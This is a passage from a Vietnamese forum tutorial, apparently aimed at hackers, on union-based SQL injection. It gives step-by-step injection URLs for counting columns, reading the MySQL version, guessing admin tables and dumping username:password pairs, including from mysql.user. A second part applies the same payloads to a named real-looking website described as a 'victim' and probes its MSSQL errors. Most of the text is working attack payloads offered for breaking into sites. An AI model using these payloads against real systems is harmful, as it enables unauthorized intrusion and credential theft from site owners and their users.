cũng được SQL hiểu là dấu cách đó ,thế cho dễ nhìn ,cách hay cộng gì cũng là 1 thôi!! Ok vậy là trang này dính lỗi SQL rồi nhá ^^ Cuối cùng truy vấn có thể là -- hoặc /* (2 cái này thực chất là bắt đầu phần chú thích SQL nghĩa là đến đây là hết lệnh roài,làm gì sau tùy chú, anh không thèm chấp vì chỉ là chú thích của SQL thôi mà hehe) 2.Tìm số lượng trường(cột) được truy vấn trong lệnh Sql: Nguyên tắc thì khi có tham số vd id=số nào đó thì sẽ thực hiện truy vấn SQL để tìm ra các bản ghi các giá trị thỏa mãn yêu cầu của các trường đưa ra ví dụ Select hoten,diem from bangdiem where id=12 đây là truy vấn chuẩn ,vấn đề ở đây là ta cần xác định số lượng trường được truy vấn cụ thể ở đây là hoten,diem tức là có 2 trường Tại sao phải tìm nó hehe ?? Bởi lẽ ta sẽ chèn thêm UNION SELECT vào cuối của URL để tìm ra các thông tin của database mà yêu cầu của lệnh này là phải có số lượng trường(cột) trùng với SELECT trước đó cụ thể là Select hoten,diem from bangdiem where id=12 UNION SELECT 1,2 from mysql.user-- 1,2 ở đây tương đương với hoten,diem hihi chính vì thể ta phải đếm được số trường được dùng để truy vấn ^^ Vậy tìm thế nào Dễ thôi dùng order by (tức là sắp xếp kết quả hiện ra theo trường nào) Ví dụ bạn có 2 trường hoten,diem mà bạn lại đòi order by 3 thì ai mà order được hehe-->báo lỗi Vậy nếu order by 2 mà được,sang order by 3 mà ko được thì có gì phải bàn nữa đâu -> số trường trong truy vấn gốc là 2 http://www.site.com/news.php?id=5 order by 1-- <-- ko có lỗi tức là trang hiện ra bình thường giống như với truy vấn http://www.site.com/news.php?id=5 hay là http://www.site.com/news.php?id=5+AND+1=1-- đại loại ngon ko lỗi gì cả nhá http://www.site.com/news.php?id=5 order by 2-- <-- cũng ko lỗi hehe Sang đến thằng order by 3 (trường thứ 3) http://www.site.com/news.php?id=5 order by 3-- Sẽ báo lỗi và kết quả hiện ra sẽ giống như khi thực hiện truy vấn với http://www.site.com/news.php?id=5+AND+1=0-- Rõ rồi vì đều sai cả , 1 thằng thì đòi 1=0 thì mới thực hiện 1 thằng thì đòi hiển thị thông tin theo 1 thằng ko tồn tại thì làm sao mà hiểu được keke OK vậy ta có được thông tin về thằng này là có 2 trường nhá! 3.Dùng hàm UNION : Về nguyên tắc thì khi trang web họ đọc thông tin (SELECT ) từ cơ sở dữ liệu thì cũng sẽ phải in ra màn hình kết quả,chẳng hạn in tên sản phẩm,giá,họ tên của sinh viên hay mặt hàng có ID= truy vấn của bạn Nhưng khi bạn dùng UNION SELECT ở cuối thì các trường tương ứng sẽ được in ra sẽ là các trường bạn truy vấn ở UNION SELECT Chẳng hạn Select hoten,diem from bangdiem where id=12 UNION SELECT 1,2-- Thì trên màn hình nơi hiển thị họ tên và điểm sẽ bị thay bằng số 1,2 keke Nơi nào hiển thị họ tên đó thì sẽ hiện ra số 1 Nơi nào điểm là 2, tương ứng mà Keke Tuy nhiên hiện ra hay ko còn phụ thuộc vào thiết kế của trang web đó có trang bạn phải coi mã nguồn mới thấy số 1 hay 2 đó Nếu chưa thấy bạn nên thay 1,2 thành những số lạ thường ví dụ 1124124,123123 rồi tìm nó Nếu thấy tức là UNION SELECT đã làm việc roài đó 4.Xem phiên bản MySql (có ý cả đó ): giả sử có 3 trường đi (ở trên là 2 trường hoten,diem bây giờ giả là hoten,diem,khoa hehe) http://www.site.com/news.php?id=5 union all select 1,2,3-- bạn hãy tìm trên trang kết quả nơi nào tự nhiên đẻ ra số 1,hay 2 hay 3 mà phang thôi hehe VD tự nhiên mọc ra thằng số 2 dở hơi nào đó thì ok vậy là cái web này nó lấy thông tin từ trường thứ 2 (vd là diem) rồi nó in ra Keke vậy ta chỉ cần thay giá trị thứ 2 trong union all select 1,2,3 thành giá trị muốn coi thôi Cụ thể biến của hệ thống chứa version Mysql là @@version hoặc là version() Bạn thực hiện lại truy vấn nhá Ok sẽ thấy nè 4.1.33-log hay 5.0.45 hoặc tương tự truy vấn đầy đủ là http://www.site.com/news.php?id=5 union all select 1,@@version,3-- Nếu mà ko thấy gì cả thì bạn nên dùng hàm convert hoặc HEX Nên dùng hex cho hay kekeke http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3-- http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3-- Kiểu gì bạn cũng sẽ thấy được phiên bản nha hehe 5). Lấy tên bảng (table) và tên trường (cột) trong bảng hehe: a>Đấy nè nếu mà MySQL version < 5 (VD 4.1.33, 4.1.12...): thì phải đoán bảng và trường thôi các tên talbe thông dụng là: users, user,admin,admins,member,members,.... Các trường (cột)thông dụng là: username, user, usr, user_name, password, pass, passwd, pwd etc... OK bạn sẽ dùng UNION SELECT để lấy thông tin (UNION ALL sẽ cho thông tin đầy đủ hơn nên dùng nhá ) http://www.site.com/news.php?id=5 union all select 1,2,3 from admin-- Hehe nếu mà thấy số 2 hiện ra tiếp thì ok có table admin đó bạn à vì truy vấn này hợp lệ mà ,truy vấn chuẩn có điều chú này chưa biết trường cần in của table này là gì cả thôi hehe Vậy là có table admin nhé Nếu ko có thì sao --> lỗi chứ còn gì giống như là and 1=0 ở trên ý hehe Rồi Giờ tìm trường trong cái table admin này http://www.site.com/news.php?id=5 union all select 1,username,3 from admin-- Nếu có trường admin trogn bảng admin này thật thì tên admin sẽ hiện ra ở chổ số 2 đó Nếu ko thì lỗi và mời bạn check trường khác username nhé Rồi sang kiểm tra Password nhé http://www.site.com/news.php?id=5 union all select 1,password,3 from admin-- Nếu có thì sẽ hiện ra mật khẩu có thể ở dạng bình thường hay bị mã hóa md5 hash, mysql hash, sha1... Muốn nhìn cho đẹp thì bạn cần phải dùng hàm concat để nối chuỗi khỏi phải mất công truy vấn lâu lâu à http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin-- giá trị 0x3a, chính là mã hex của : hoặc bạn dùng là char(58) Mã ascii của : đó http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin-- Kết quả hiện ra có thể là admin:admin hay admin:hash hehe Ok nếu bị mã hóa thì đi crack Quan trọng nè nếu mà không đoán được tên bảng thì nên thử vào table mysql.user (Đây là bảng mặc định của Mysql <5) Sẽ có mật khẩu và user name đó thử coi; http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user-- Sang phiên bản Mysql phổ biến hiện nay bạn sẽ hok cần phải đoán gì cả anh em NB ngâm ngi những cái mình đã post để hiểu hơn nhé Hum sau update tiếp,bản hoàn thiện đang lưu trong tệp DOC hôm nào upload luôn ^^ b). MySQL 5,BLind SQL,Time SQl.......... .................Continue...... 1. Tìm hiểu thêm về Union Code: http://www.peric.ac.cn/product.php?product_id=2' ở topic trước các bạn có bàn luận về site này nên hôm nay làm cái tut để anh em hĩu rõ thêm +thứ 1: SQL injection thì phân biệt mysql injection và mssql injection là chính còn php và asp chỉ là vấn đề phụ…1 số bạn lại nhầm tưởng +thứ 2: UNION dùng để kết nối 2 mệnh đề SELECT có hỗ trợ cả mysql và mssql nên có thể xài ở mọi trường hợp +thứ 3: mysql kết hợp tốt với php nên thông thường các bạn hack site php chỉ gặp mysql…nhưng ko tuyệt đối là thế mà có thể là mssql,oracle…. +thứ 4:nói thêm (có sai thì mấy pro góp ý) VD:id=1 các bạn sửa lại thành id=-999 or id=null làm gì? để mệnh đề SELECT thứ nhất ko trả về kết quả giả sử trên 1 page có 3 chỗ echo ra kết quả mà SELECT thứ nhất trả về 3 kết quả thì hết chỗ…SELECT thứ 2 tuy trả về kết quả nhưng ko có chỗ echo ra +thứ 5: cấu trúc UNION: Code: SELECT id,user,pass,level from test UNION SELECT 1,'a','b',2 from example VD trên nghĩa là type các column trong 2 mệnh đề SELECT phải giống nhau Áp dụng: trở lại site victim trên Code: mssql_query => nghĩa là nó sử dụng sql server or mysql attack = UNION nha đầu tiên đếm column đc 4 column Code: http://www.peric.ac.cn/product.php?product_id=-2 union select 1,2,3,4 from information_schema.tables-- type khác nhau Code: http://www.peric.ac.cn/product.php?product_id=-2 union select null,null,null,null from information_schema.tables-- null ko có type nên bypass tốt Code: Warning: mssql_query(): message: The text, ntext, or image data type cannot be selected as DISTINCT. (severity 16) in /home/www/peric/product.php on line 262 DISTINCT là gì thì các bạn tự tìm hĩu (đơn giản là lọc kết quả trùng nhau) để khắc phục thì xài union all select kế típ dò type từng column Code: http://www.peric.ac.cn/product.php?p...chema.tables-- vẫn bt =>column type int(thường là ID mà ) Code: http://www.peric.ac.cn/product.php?p...chema.tables-- ra số 2 đẹp đẹp Code: http://www.peric.ac.cn/product.php?p...chema.tables-- báo lỗi nên change thành ‘3′,’a',.. gì đó miễn là type char Code: http://www.peric.ac.cn/product.php?p...chema.tables-- báo lỗi nên change thành ‘3′,’a',.. gì đó miễn là type char Code: http://www.peric.ac.cn/product.php?p...chema.tables-- Warning: mssql_query(): message: Line 1: Incorrect syntax near ''. (severity 15) in /home/www/peric/product.php on line 262 => hình như bị magic quote(là gì thì tìm hĩu ) =>chuyển thành Code: http://www.peric.ac.cn/product.php?p...chema.tables-- tương tự Code: http://www.peric.ac.cn/product.php?p...chema.tables-- |
![]()
| |
![]() |
|
| 1 user reading this topic (1 Guest and 0 Anonymous) | |
| « Previous Topic · SQL · Next Topic » |




kevinpham




1:35 AM Jul 12